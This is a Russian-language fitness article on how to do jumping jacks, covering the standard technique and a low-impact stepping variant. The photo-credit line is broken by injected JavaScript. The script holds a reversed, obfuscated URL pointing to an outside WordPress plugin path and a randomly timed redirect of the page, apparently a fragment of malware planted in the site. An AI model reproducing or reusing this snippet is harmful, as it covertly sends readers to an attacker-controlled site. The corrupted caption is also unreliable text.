Упражнение дня: «Джампинг Джек»

Упражнение «Джампинг Джек» — частый элемент не только кардиотренировок, но и разминки. С его помощью вы быстро поднимете пульс и разогреете тело. Как правильно выполнять «Джампинг Джек» — показывает Алина Грицкевич, тренер онлайн-студии REBOOT LIVE.

Как делать упражнение «Джампинг Джек»

Jumping Jack (англ. — «прыгающий Джек» или «Джек-попрыгунчик») — упражнение, при котором происходит разведение рук и ног в прыжке. Как освоить технику выполнения этого упражнения? Смотрите на видео:

Техника выполнения упражнения «Джампинг Джек»

Чтобы максимально эффективно нагрузить мышцы и сделать упражнение безопасным, следите за техникой выполнения «Джампинг Джека»:

  1. Исходное положение — стоя, ноги вместе, руки опущены, колени слегка согнуты.
  2. На вдохе сделайте прыжок, оттолкнувшись от пола, и разведите ноги в стороны чуть шире плеч. Одновременно с прыжком поднимите руки над головой (можно сделать хлопок), держите руки немного согнутыми в локтях.
  3. На выдохе вернитесь в исходное положение и повторяйте в течение одной минуты. Движения рук и ног во время прыжков должны быть синхронизированы.

Упражнение дня: «Джампинг Джек». Изображение номер 1

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Что важно при выполнении упражнения «Джампинг Джек»

Обратите внимание на детали — и делайте упражнение «Джампинг Джек» как профессионал:

  1. При приземлении колени остаются мягкими и немного согнутыми.
  2. Движения рук должны быть амплитудными.
  3. Живот напряжён и подтянут, спина прямая, взгляд направлен вперёд.
  4. Прыжки должны быть мягкими и пружинистыми.

Облегчённый (низкоударный) вариант упражнения

Если у вас есть проблемы с суставами (например, с коленными), вам не рекомендована компрессионная нагрузка на позвоночник (например, при грыжах и протрузиях) или вам просто не нравится прыгать, выполняйте облегчённый вариант упражнения «Джампинг Джек»:

  1. Исходное положение — стоя, ноги вместе, руки опущены, колени слегка согнуты.
  2. На вдохе сделайте шаг в сторону, расставьте ноги в стороны чуть шире плеч. Одновременно с шагом поднимите руки над головой (можно сделать хлопок), держите руки немного согнутыми в локтях. 
  3. На выдохе вернитесь в исходное положение и повторяйте в течение одной минуты. Движения рук и ног во время прыжков должны быть синхронизированы.

Статьи по теме

Сжигаем максимум калорий за 10 минут: упражнения со скакалкой

Июльский челлендж: скручивание на косые мышцы живота

От 200 до 1 500: сколько калорий сжигают разные виды фитнеса

4 упражнения, которые выматывают круче бега

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector